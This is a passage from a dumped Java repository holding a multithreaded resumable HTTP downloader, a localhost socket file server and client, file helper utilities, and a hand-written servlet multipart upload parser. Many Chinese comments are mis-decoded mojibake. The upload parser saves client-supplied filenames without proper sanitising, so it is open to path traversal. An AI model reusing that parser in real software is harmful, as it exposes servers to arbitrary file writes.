urlStr.substring(urlStr.lastIndexOf(\"/\") + 1, urlStr.lastIndexOf(\"?\")>0 ? urlStr.lastIndexOf(\"?\") : urlStr.length());\n\t\t\tif(\"\".equalsIgnoreCase(this.fileName)){\n\t\t\t\tthis.fileName = UUID.randomUUID().toString();\n\t\t\t}\n\n\t\t\tthis.url = new URL(urlStr);\n\t\t\tHttpURLConnection con = (HttpURLConnection) url.openConnection();\n\t\t\tsetHeader(con);\n\t\t\t// �õ�content�ĳ���\n\t\t\tcontentLength = con.getContentLength();\n\t\t\t// ��context��ΪthreadNum�εĻ���ÿ�εĳ��ȡ�\n\t\t\tthis.threadLength = contentLength / threadNum;\n\n\t\t\t// ��һ�������������ص���ʱ�ļ������öϵ㣬������µ�������������Ŀ���ļ���\n\t\t\tstartPos = setThreadBreakpoint(fileDir, fileName, contentLength,\n\t\t\t\t\tstartPos);\n\n\t\t\t// �ڶ������ֶ���߳������ļ�\n\t\t\tExecutorService exec = Executors.newCachedThreadPool();\n\t\t\tfor (int i = 0; i < threadNum; i++) {\n\t\t\t\t// �������߳�������������ݣ�ÿ����ݵ���ʼλ��Ϊ(threadLength * i + �����س���)\n\t\t\t\tstartPos[i] += threadLength * i;\n\n\t\t\t\t/*\n\t\t\t\t * �������̵߳���ֹλ�ã������һ���̼߳�Ϊ(threadLength * (i + 1) - 1)\n\t\t\t\t * ���һ���̵߳���ֹλ�ü�Ϊ�������ݵĳ���\n\t\t\t\t */\n\t\t\t\tif (i == threadNum - 1) {\n\t\t\t\t\tendPos = contentLength;\n\t\t\t\t} else {\n\t\t\t\t\tendPos = threadLength * (i + 1) - 1;\n\t\t\t\t}\n\t\t\t\t// �������̣߳���ִ�С�\n\t\t\t\tChildThread thread = new ChildThread(this, latch, i,\n\t\t\t\t\t\tstartPos[i], endPos);\n\t\t\t\tchildThreads[i] = thread;\n\t\t\t\texec.execute(thread);\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\t// �ȴ�CountdownLatch�ź�Ϊ0����ʾ�������̶߳�����\n\t\t\t\tlatch.await();\n\t\t\t\texec.shutdown();\n\n\t\t\t\t// ����ѷֶ�������������ʱ�ļ��е�����д��Ŀ���ļ��С�\n\t\t\t\ttempFileToTargetFile(childThreads);\n\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\treturn fileDir + fileName;\n\t}\n\n\tprivate void tempFileToTargetFile(ChildThread[] childThreads) {\n\t\ttry {\n\t\t\tBufferedOutputStream outputStream = new BufferedOutputStream(\n\t\t\t\t\tnew FileOutputStream(fileDir + fileName));\n\n\t\t\t// �����������̴߳�������ʱ�ļ�����˳�����������д��Ŀ���ļ���\n\t\t\tfor (int i = 0; i < threadNum; i++) {\n\t\t\t\tif (statusError) {\n\t\t\t\t\tfor (int k = 0; k < threadNum; k++) {\n\t\t\t\t\t\tif (childThreads[k].tempFile.length() == 0)\n\t\t\t\t\t\t\tchildThreads[k].tempFile.delete();\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(\"�����������񲻳ɹ��������������߳���\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tBufferedInputStream inputStream = new BufferedInputStream(\n\t\t\t\t\t\tnew FileInputStream(childThreads[i].tempFile));\n\t\t\t\tSystem.out.println(\"Now is file \" + childThreads[i].id);\n\t\t\t\tint len = 0;\n\t\t\t\tlong count = 0;\n\t\t\t\tbyte[] b = new byte[1024];\n\t\t\t\twhile ((len = inputStream.read(b)) != -1) {\n\t\t\t\t\tcount += len;\n\t\t\t\t\toutputStream.write(b, 0, len);\n\t\t\t\t\tif ((count % 4096) == 0) {\n\t\t\t\t\t\toutputStream.flush();\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tinputStream.close();\n\t\t\t\t// ɾ����ʱ�ļ�\n\t\t\t\tif (childThreads[i].status == ChildThread.STATUS_HAS_FINISHED) {\n\t\t\t\t\tchildThreads[i].tempFile.delete();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\toutputStream.flush();\n\t\t\toutputStream.close();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tprivate long[] setThreadBreakpoint(String fileDir2, String fileName2,\n\t\t\tlong contentLength, long[] startPos) {\n\t\tFile file = new File(fileDir + fileName);\n\t\tlong localFileSize = file.length();\n\n\t\tif (file.exists()) {\n\t\t\tSystem.out.println(\"file \" + fileName + \" has exists!\");\n\t\t\t// ���ص�Ŀ���ļ��Ѵ��ڣ��ж�Ŀ���ļ��Ƿ�����\n\t\t\tif (localFileSize < contentLength) {\n\t\t\t\tSystem.out.println(\"Now download continue ... \");\n\n\t\t\t\t// ����Ŀ���ļ���������ʱ�ļ������öϵ��λ�ã���ÿ����ʱ�ļ��ĳ���\n\t\t\t\tFile tempFileDir = new File(fileDir);\n\t\t\t\tFile[] files = tempFileDir.listFiles();\n\t\t\t\tfor (int k = 0; k < files.length; k++) {\n\t\t\t\t\tString tempFileName = files[k].getName();\n\t\t\t\t\t// ��ʱ�ļ�������ʽΪ��Ŀ���ļ���+\"_\"+���\n\t\t\t\t\tif (tempFileName != null && files[k].length() > 0\n\t\t\t\t\t\t\t&& tempFileName.startsWith(fileName + \"_\")) {\n\t\t\t\t\t\tint fileLongNum = Integer.parseInt(tempFileName\n\t\t\t\t\t\t\t\t.substring(tempFileName.lastIndexOf(\"_\") + 1,\n\t\t\t\t\t\t\t\t\t\ttempFileName.lastIndexOf(\"_\") + 2));\n\t\t\t\t\t\t// Ϊÿ���߳����������ص�λ��\n\t\t\t\t\t\tstartPos[fileLongNum] = files[k].length();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t// ������ص�Ŀ���ļ������ڣ��򴴽����ļ�\n\t\t\ttry {\n\t\t\t\tfile.createNewFile();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\n\t\treturn startPos;\n\t}\n\n\t/**\n\t * \n\t * @author annegu\n\t * @since 2009-07-16\n\t * \n\t */\n\tpublic class ChildThread extends Thread {\n\t\tpublic static final int STATUS_HASNOT_FINISHED = 0;\n\t\tpublic static final int STATUS_HAS_FINISHED = 1;\n\t\tpublic static final int STATUS_HTTPSTATUS_ERROR = 2;\n\t\tprivate DownloadTask task;\n\t\tprivate int id;\n\t\tprivate long startPosition;\n\t\tprivate long endPosition;\n\t\tprivate final CountDownLatch latch;\n\t\t// private RandomAccessFile tempFile = null;\n\t\tprivate File tempFile = null;\n\t\t//�߳�״̬��\n\t\tprivate int status = ChildThread.STATUS_HASNOT_FINISHED;\n\n\t\tpublic ChildThread(DownloadTask task, CountDownLatch latch, int id,\n\t\t\t\tlong startPos, long endPos) {\n\t\t\tsuper();\n\t\t\tthis.task = task;\n\t\t\tthis.id = id;\n\t\t\tthis.startPosition = startPos;\n\t\t\tthis.endPosition = endPos;\n\t\t\tthis.latch = latch;\n\n\t\t\ttry {\n\t\t\t\ttempFile = new File(this.task.fileDir + this.task.fileName\n\t\t\t\t\t\t+ \"_\" + id);\n\t\t\t\tif (!tempFile.exists()) {\n\t\t\t\t\ttempFile.createNewFile();\n\t\t\t\t}\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\n\t\t}\n\n\t\tpublic void run() {\n\t\t\tSystem.out.println(\"Thread \" + id + \" run ...\");\n\t\t\tHttpURLConnection con = null;\n\t\t\tInputStream inputStream = null;\n\t\t\tBufferedOutputStream outputStream = null;\n\t\t\tlong count = 0;\n\t\t\tlong threadDownloadLength = endPosition - startPosition;\n\n\t\t\ttry {\n\t\t\t\toutputStream = new BufferedOutputStream(new FileOutputStream(\n\t\t\t\t\t\ttempFile.getPath(), true));\n\t\t\t} catch (FileNotFoundException e2) {\n\t\t\t\te2.printStackTrace();\n\t\t\t}\n\n\t\t\tfor (;;) {\n\t\t\t\ttry {\n\t\t\t\t\t// ��URLConnection\n\t\t\t\t\tcon = (HttpURLConnection) task.url.openConnection();\n\t\t\t\t\tsetHeader(con);\n\t\t\t\t\tcon.setAllowUserInteraction(true);\n\t\t\t\t\t// �������ӳ�ʱʱ��Ϊ10000ms\n\t\t\t\t\tcon.setConnectTimeout(10000);\n\t\t\t\t\t// ���ö�ȡ��ݳ�ʱʱ��Ϊ10000ms\n\t\t\t\t\tcon.setReadTimeout(10000);\n\n\t\t\t\t\tif (startPosition < endPosition) {\n\t\t\t\t\t\t// ����������ݵ���ֹ���\n\t\t\t\t\t\tcon.setRequestProperty(\"Range\", \"bytes=\"\n\t\t\t\t\t\t\t\t+ startPosition + \"-\" + endPosition);\n\t\t\t\t\t\tSystem.out.println(\"Thread \" + id\n\t\t\t\t\t\t\t\t+ \" startPosition is \" + startPosition);\n\t\t\t\t\t\tSystem.out.println(\"Thread \" + id + \" endPosition is \"\n\t\t\t\t\t\t\t\t+ endPosition);\n\n\t\t\t\t\t\t//�ж�http status�Ƿ�ΪHTTP/1.1 206 Partial Content����200 OK\n\t\t\t\t\t\t//�������������״̬����status��ΪSTATUS_HTTPSTATUS_ERROR\n\t\t\t\t\t\tif (con.getResponseCode() != HttpURLConnection.HTTP_OK\n\t\t\t\t\t\t\t\t&& con.getResponseCode() != HttpURLConnection.HTTP_PARTIAL) {\n\t\t\t\t\t\t\tSystem.out.println(\"Thread \" + id + \": code = \"\n\t\t\t\t\t\t\t\t\t+ con.getResponseCode() + \", status = \"\n\t\t\t\t\t\t\t\t\t+ con.getResponseMessage());\n\t\t\t\t\t\t\tstatus = ChildThread.STATUS_HTTPSTATUS_ERROR;\n\t\t\t\t\t\t\tthis.task.statusError = true;\n\t\t\t\t\t\t\toutputStream.close();\n\t\t\t\t\t\t\tcon.disconnect();\n\t\t\t\t\t\t\tSystem.out.println(\"Thread \" + id + \" finished.\");\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//�ݼ�������ļ�����������㣬���ͷ����еȴ���̡߳�\n\t\t\t\t\t\t\tlatch.countDown();\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tinputStream = con.getInputStream();\n\t\t\t\t\t\tint len = 0;\n\t\t\t\t\t\tbyte[] b = new byte[1024];\n\t\t\t\t\t\twhile (!this.task.statusError\n\t\t\t\t\t\t\t\t&& (len = inputStream.read(b)) != -1) {\n\t\t\t\t\t\t\toutputStream.write(b, 0, len);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tcount += len;\n\t\t\t\t\t\t\tstartPosition += len;\n\t\t\t\t\t\t\t// ÿ����4096��byte��һ���ڴ�ҳ�����������flushһ��\n\t\t\t\t\t\t\tif (count % 4096 == 0) {\n\t\t\t\t\t\t\t\toutputStream.flush();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (count >= threadDownloadLength) {\n\t\t\t\t\t\t\tstatus = ChildThread.STATUS_HAS_FINISHED;\n\t\t\t\t\t\t}\n\t\t\t\t\t\toutputStream.flush();\n\t\t\t\t\t\toutputStream.close();\n\t\t\t\t\t\tinputStream.close();\n\t\t\t\t\t\tcon.disconnect();\n\t\t\t\t\t} else {\n\t\t\t\t\t\tstatus = ChildThread.STATUS_HAS_FINISHED;\n\t\t\t\t\t}\n\n\t\t\t\t\t\n\t\t\t\t\tSystem.out.println(\"Thread \" + id + \" finished.\");\n\t\t\t\t\tlatch.countDown();\n\t\t\t\t\tbreak;\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\toutputStream.flush();\n\t\t\t\t\t\tTimeUnit.SECONDS.sleep(getSleepSeconds());\n\t\t\t\t\t} catch (InterruptedException e1) {\n\t\t\t\t\t\te1.printStackTrace();\n\t\t\t\t\t} catch (IOException e2) {\n\t\t\t\t\t\te2.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (outputStream != null) {\n\t\t\t\ttry {\n\t\t\t\t\toutputStream.close();\n\t\t\t\t\tcon.disconnect();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate void setHeader(URLConnection con) {\n\t\tcon.setRequestProperty(\"User-Agent\", \"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\");\n\t\tcon.setRequestProperty(\"Accept-Language\", \"en-us,en;q=0.7,zh-cn;q=0.3\");\n\t\tcon.setRequestProperty(\"Accept-Encoding\", \"aa\");\n\t\tcon.setRequestProperty(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n\t\tcon.setRequestProperty(\"Keep-Alive\", \"300\");\n\t\tcon.setRequestProperty(\"Connection\", \"keep-alive\");\n\t\tcon.setRequestProperty(\"If-Modified-Since\", \"Fri, 02 Jan 2009 17:00:05 GMT\");\n\t\tcon.setRequestProperty(\"If-None-Match\", \"\\\"1261d8-4290-df64d224\\\"\");\n\t\tcon.setRequestProperty(\"Cache-Control\", \"max-age=0\");\n\t\tcon.setRequestProperty(\"Referer\", \"http://www.skycn.com/soft/14857.html\");\n\t}\n\n\tpublic long getSleepSeconds() {\n\t\treturn sleepSeconds;\n\t}\n\n\tpublic void setSleepSeconds(long sleepSeconds) {\n\t\tthis.sleepSeconds = sleepSeconds;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/file_server/File_client.java",
    "content": "package com.jun.plugin.file.file_server;\nimport java.io.*;\nimport java.net.*;\n\npublic class File_client {\n\n\t\n\tpublic static void main(String[] args) throws Exception {\n\t\t\n\t\tSocket clientSocket = new Socket(\"localhost\", 6789);\n\t\t\n\t\tBufferedReader inFromServer = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));\n\t\t//get the string from server\n\t\tString content = \"\";\n\t\tStringBuilder sb = new StringBuilder();\n\t\twhile(content != null){\n\t\t   content = inFromServer.readLine();\n\t\t   \n\t\t   if(content == null){\n\t\t    break;\n\t\t   }\n\t\t   \n\t\t   sb.append(content.trim());\n\t\t   break;\n\t\t}\n\t\t//print the string in buffer.\n\t\tSystem.out.print(\"the string from the server is :\\n\");\n\t\tSystem.out.print(sb.toString());\n\t\t//safe in the file.\n\t\ttry {\n\t\t\tFile file = new File(\"client.txt\");\n\t\t\tif (!file.exists()) {\n                file.createNewFile();\n            }\n\t\t\tFileOutputStream os = new FileOutputStream(file);\n\t\t\tBufferedOutputStream bos = new BufferedOutputStream(os);\n\t\t\tbos.write(sb.toString().getBytes());\n\t\t\tbos.close();\n\t\t\tos.close();\n\t\t} catch (Exception e) {\n\t\t\t   e.printStackTrace();\n\t\t}\n\t\t\n\t\tSystem.out.println(\"\\nsafe finish.\");\n\t\tclientSocket.close();\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/file_server/File_server.java",
    "content": "package com.jun.plugin.file.file_server;\nimport java.net.*;\nimport java.io.*;\n\npublic class File_server {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) throws Exception{\n\t\tFile file = new File(\"server.txt\");\n        ServerSocket welcomeSocket = new ServerSocket(6789);\n\t\t\n\t\twhile(true)\n        {\n\t\t\tBufferedReader bf = new BufferedReader(new FileReader(file));\n\t\t\tString content = \"\";\n\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\t  \n\t\t\twhile(content != null){\n\t\t\t   content = bf.readLine();\n\t\t\t   \n\t\t\t   if(content == null){\n\t\t\t    break;\n\t\t\t   }\n\t\t\t   \n\t\t\t   sb.append(content.trim());\n\t\t\t}\n\t\t\t  \n\t\t\tbf.close();\n\t\t\tSystem.out.print(sb.toString());\n\t\t\t\n\t\t\tSocket connectionSocket = welcomeSocket.accept();\n\t\t\tDataOutputStream outToClient = new DataOutputStream(connectionSocket.getOutputStream());\n\t\t\toutToClient.writeBytes(sb.toString());\n\t\t\toutToClient.close();\n        }\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/fileupload/FileHelper.java",
    "content": "package com.jun.plugin.file.fileupload;\n\n\n/*\n * Static File routines.\n * Copyright (C) 2002 Stephen Ostermiller\n * http://ostermiller.org/contact.pl?regarding=Java+Utilities\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * See COPYING.TXT for details.\n */\n\nimport java.io.*;\nimport java.text.MessageFormat;\nimport java.util.ResourceBundle;\nimport java.util.Locale;\n\n/**\n * Utilities for File manipulation.\n * More information about this class is available from <a target=\"_top\" href=\n * \"http://ostermiller.org/utils/FileHelper.html\">ostermiller.org</a>.\n *\n * @author Stephen Ostermiller http://ostermiller.org/contact.pl?regarding=Java+Utilities\n * @since ostermillerutils 1.00.00\n */\npublic class FileHelper {\n\n\t/**\n\t * Locale specific strings displayed to the user.\n\t *\n\t * @since ostermillerutils 1.00.00\n\t */\n\tprotected static ResourceBundle labels = ResourceBundle.getBundle(\"com.Ostermiller.util.FileHelper\",  Locale.getDefault());\n\n\n\t/**\n\t * Move a file from one location to another.  An attempt is made to rename\n\t * the file and if that fails, the file is copied and the old file deleted.\n\t *\n\t * If the destination file already exists, an exception will be thrown.\n\t *\n\t * @param from file which should be moved.\n\t * @param to desired destination of the file.\n\t * @throws IOException if an error occurs.\n\t *\n\t * @since ostermillerutils 1.00.00\n\t */\n\tpublic static void move(File from, File to) throws IOException {\n\t\tmove(from, to, false);\n\t}\n\n\t/**\n\t * Move a file from one location to another.  An attempt is made to rename\n\t * the file and if that fails, the file is copied and the old file deleted.\n\t *\n\t * @param from file which should be moved.\n\t * @param to desired destination of the file.\n\t * @param overwrite If false, an exception will be thrown rather than overwrite a file.\n\t * @throws IOException if an error occurs.\n\t *\n\t * @since ostermillerutils 1.00.00\n\t */\n\tpublic static void move(File from, File to, boolean overwrite) throws IOException {\n\t\tif (to.exists()){\n\t\t\tif (overwrite){\n\t\t\t\tif (!to.delete()){\n\t\t\t\t\tthrow new IOException(\n\t\t\t\t\t\tMessageFormat.format(\n\t\t\t\t\t\t\tlabels.getString(\"deleteerror\"),\n\t\t\t\t\t\t\t(Object[])new String[] {\n\t\t\t\t\t\t\t\tto.toString()\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t)\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tthrow new IOException(\n\t\t\t\t\tMessageFormat.format(\n\t\t\t\t\t\tlabels.getString(\"alreadyexistserror\"),\n\t\t\t\t\t\t(Object[])new String[] {\n\t\t\t\t\t\t\tto.toString()\n\t\t\t\t\t\t}\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\tif (from.renameTo(to)) return;\n\n\t\tInputStream in = null;\n\t\tOutputStream out = null;\n\t\ttry {\n\t\t\tin = new FileInputStream(from);\n\t\t\tout = new FileOutputStream(to);\n\t\t\tcopy(in, out);\n\t\t\tin.close();\n\t\t\tin = null;\n\t\t\tout.flush();\n\t\t\tout.close();\n\t\t\tout = null;\n\t\t\tif (!from.delete()){\n\t\t\t\tthrow new IOException(\n\t\t\t\t\tMessageFormat.format(\n\t\t\t\t\t\tlabels.getString(\"deleteoriginalerror\"),\n\t\t\t\t\t\t(Object[])new String[] {\n\t\t\t\t\t\t\tfrom.toString(),\n\t\t\t\t\t\t\tto.toString()\n\t\t\t\t\t\t}\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t} finally {\n\t\t\tif (in != null){\n\t\t\t\tin.close();\n\t\t\t\tin = null;\n\t\t\t}\n\t\t\tif (out != null){\n\t\t\t\tout.flush();\n\t\t\t\tout.close();\n\t\t\t\tout = null;\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Buffer size when reading from input stream.\n\t *\n\t * @since ostermillerutils 1.00.00\n\t */\n\tprivate final static int BUFFER_SIZE = 1024;\n\n\t/**\n\t * Copy the data from the input stream to the output stream.\n\t *\n\t * @param in data source\n\t * @param out data destination\n\t * @throws IOException in an input or output error occurs\n\t *\n\t * @since ostermillerutils 1.00.00\n\t */\n\tprivate static void copy(InputStream in, OutputStream out) throws IOException {\n\t\tbyte[] buffer = new byte[BUFFER_SIZE];\n\t\tint read;\n\t\twhile((read = in.read(buffer)) != -1){\n\t\t\tout.write(buffer, 0, read);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/fileupload/FileUpload.java",
    "content": "package com.jun.plugin.file.fileupload;\n\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.ServletInputStream;\nimport java.util.Dictionary;\nimport java.util.Hashtable;\nimport java.io.*;\n\npublic class FileUpload {\n\t// ��������������洢�ϴ��ļ������֣�·����?\n\tprivate String savePath, filepath, filename, contentType;\n\t// �������û���??��������ݵ�����?/ֵ��\n\tprivate Dictionary fields;\n\n\t// ����ļ�����?\n\tpublic String getFilename() {\n\t\treturn filename;\n\t}\n\t// ����ϴ��ļ���·��?\n\tpublic String getFilepath() {\n\t\treturn filepath;\n\t}\n\t// �趨�ϴ��ļ���·�������û���趨�ͱ����ڷ�����Ĭ��Ŀ�?\n\tpublic void setSavePath(String savePath) {\n\t\tthis.savePath = savePath;\n\t}\n\t// �õ��ļ�����\n\tpublic String getContentType() {\n\t\treturn contentType;\n\t}\n\n\tpublic String getFieldValue(String fieldName) {\n\t\tif (fields == null || fieldName == null)\n\t\t\treturn null;\n\t\treturn (String) fields.get(fieldName);\n\t}\n\n\tprivate void setFilename(String s) {\n\t\tif (s == null)\n\t\t\treturn;\n\t\tint pos = s.indexOf(\"filename=\\\"\");\n\t\tif (pos != -1) {\n\t\t\tfilepath = s.substring(pos + 10, s.length() - 1);\n\t\t\tpos = filepath.lastIndexOf(\"\\\\\");\n\t\t\tif (pos != -1)\n\t\t\t\tfilename = filepath.substring(pos + 1);\n\t\t\telse\n\t\t\t\tfilename = filepath;\n\t\t}\n\t}\n\n\tprivate void setContentType(String s) {\n\t\tif (s == null)\n\t\t\treturn;\n\t\tint pos = s.indexOf(\": \");\n\t\tif (pos != -1)\n\t\t\tcontentType = s.substring(pos + 2, s.length());\n\t}\n\n\tpublic void doUpload(HttpServletRequest request) throws IOException {\n\t\tServletInputStream in = request.getInputStream();\n\t\tbyte[] line = new byte[128];\n\t\tint i = in.readLine(line, 0, 128);\n\t\tif (i < 3)\n\t\t\treturn;\n\t\tint boundaryLength = i - 2;\n\t\tString boundary = new String(line, 0, boundaryLength); //-2�������ַ� \n\t\tfields = new Hashtable();\n\n\t\twhile (i != -1) {\n\t\t\tString newLine = new String(line, 0, i);\n\t\t\tif (newLine\n\t\t\t\t.startsWith(\"Content-Disposition: form-data; name=\\\"\")) {\n\t\t\t\tif (newLine.indexOf(\"filename=\\\"\") != -1) {\n\t\t\t\t\tsetFilename(new String(line, 0, i - 2));\n\t\t\t\t\tif (filename == null)\n\t\t\t\t\t\treturn;\n\n\t\t\t\t\t//�ļ����� \n\t\t\t\t\ti = in.readLine(line, 0, 128);\n\t\t\t\t\tsetContentType(new String(line, 0, i - 2));\n\t\t\t\t\ti = in.readLine(line, 0, 128);\n\n\t\t\t\t\t//���� \n\t\t\t\t\ti = in.readLine(line, 0, 128);\n\t\t\t\t\tnewLine = new String(line, 0, i);\n\t\t\t\t\tPrintWriter pw =\n\t\t\t\t\t\tnew PrintWriter(\n\t\t\t\t\t\t\tnew BufferedWriter(\n\t\t\t\t\t\t\t\tnew FileWriter(\n\t\t\t\t\t\t\t\t\t(savePath == null ? \"\" : savePath)\n\t\t\t\t\t\t\t\t\t\t+ filename)));\n\t\t\t\t\twhile (i != -1 && !newLine.startsWith(boundary)) {\n\t\t\t\t\t\t// �ļ����ݵ����һ�а����ַ�? \n\n\t\t\t\t\t\t// ������Ǳ����鵱ǰ���Ƿ�����? \n\n\t\t\t\t\t\t// ��һ�� \n\t\t\t\t\t\ti = in.readLine(line, 0, 128);\n\t\t\t\t\t\tif ((i == boundaryLength + 2\n\t\t\t\t\t\t\t|| i == boundaryLength + 4)\n\t\t\t\t\t\t\t&& (new String(line, 0, i).startsWith(boundary)))\n\t\t\t\t\t\t\tpw.print(\n\t\t\t\t\t\t\t\tnewLine.substring(0, newLine.length() - 2));\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tpw.print(newLine);\n\t\t\t\t\t\tnewLine = new String(line, 0, i);\n\t\t\t\t\t}\n\t\t\t\t\tpw.close();\n\t\t\t\t} else {\n\t\t\t\t\t// ��ͨ�??����Ԫ�� \n\t\t\t\t\t// ��ȡ����Ԫ������ \n\t\t\t\t\tint pos = newLine.indexOf(\"name=\\\"\");\n\t\t\t\t\tString fieldName =\n\t\t\t\t\t\tnewLine.substring(pos + 6, newLine.length() - 3);\n\t\t\t\t\ti = in.readLine(line, 0, 128);\n\t\t\t\t\ti = in.readLine(line, 0, 128);\n\t\t\t\t\tnewLine = new String(line, 0, i);\n\t\t\t\t\tStringBuffer fieldValue = new StringBuffer(128);\n\t\t\t\t\twhile (i != -1 && !newLine.startsWith(boundary)) {\n\t\t\t\t\t\t// ���һ�а����ַ�? \n\t\t\t\t\t\t// ������Ǳ����鵱ǰ���Ƿ������һ�� \n\t\t\t\t\t\ti = in.readLine(line, 0, 128);\n\t\t\t\t\t\tif ((i == boundaryLength + 2\n\t\t\t\t\t\t\t|| i == boundaryLength + 4)\n\t\t\t\t\t\t\t&& (new String(line, 0, i).startsWith(boundary)))\n\t\t\t\t\t\t\tfieldValue.append(\n\t\t\t\t\t\t\t\tnewLine.substring(0, newLine.length() - 2));\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tfieldValue.append(newLine);\n\t\t\t\t\t\tnewLine = new String(line, 0, i);\n\t\t\t\t\t}\n\t\t\t\t\tfields.put(fieldName, fieldValue.toString());\n\t\t\t\t}\n\t\t\t}\n\t\t\ti = in.readLine(line, 0, 128);\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/fileupload/FileUtil.java",
    "content": "package com.jun.plugin.file.fileupload;\n\n\nimport java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStreamWriter;\nimport java.util.logging.Level;\nimport java.util.logging.Logger;\n\n/**\n *\n * @author Jason Krebs\n * @date 2015骞?2鏈?7鏃?\n */\npublic class FileUtil {\n\n    private static final String CHARSET = \"UTF-8\";\n    private static final Logger LOGGER = Logger.getLogger(FileUtil.class.getName());\n\n    /**\n     * 鍙互浠嶫ar鍖呭唴閮ㄥ姞杞?\n     *\n     * @param input\n     * @return\n     */\n    public static String loadFrom(InputStream input) {\n        BufferedReader reader = null;\n        StringBuilder data = new StringBuilder();\n        try {\n            reader = new BufferedReader(new InputStreamReader(input, CHARSET));\n            String line = null;\n            while ((line = reader.readLine()) != null) {\n                data.append(line);\n            }\n        }\n        catch (Exception e) {\n            LOGGER.log(Level.WARNING, e.getMessage());\n        }\n        finally {\n            try {\n                if (reader != null) {\n                    reader.close();\n                    reader = null;\n                }\n            }\n            catch (IOException e) {\n                LOGGER.log(Level.WARNING, e.getMessage());\n            }\n        }\n        return data.toString();\n    }\n\n    /**\n     * 浠庡閮ㄨ矾寰勫姞杞?\n     *\n     * @param path\n     * @return\n     */\n    public static String loadFrom(String path) {\n        try {\n            return loadFrom(new FileInputStream(path));\n        }\n        catch (FileNotFoundException e) {\n            LOGGER.log(Level.WARNING, e.getMessage());\n        }\n        return \"\";\n    }\n\n    public static void main(String[] args) {\n        System.out.println(loadFrom(\"D:/BackUp/Desktop/nodes.json\"));\n    }\n\n    public static void saveTo(String path, String message) {\n        OutputStreamWriter writer = null;\n        FileOutputStream output = null;\n        try {\n            output = new FileOutputStream(path);\n            writer = new OutputStreamWriter(output, CHARSET);\n            writer.write(message);\n            writer.flush();\n        }\n        catch (Exception e) {\n            LOGGER.log(Level.WARNING, e.getMessage());\n        }\n        finally {\n            try {\n                if (writer != null) {\n                    writer.close();\n                    writer = null;\n                }\n                if (output != null) {\n                    output.close();\n                    output = null;\n                }\n            }\n            catch (IOException e) {\n                LOGGER.log(Level.WARNING, e.getMessage());\n            }\n        }\n    }\n    \n    \n \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/fileupload/FileUtilTest.java",
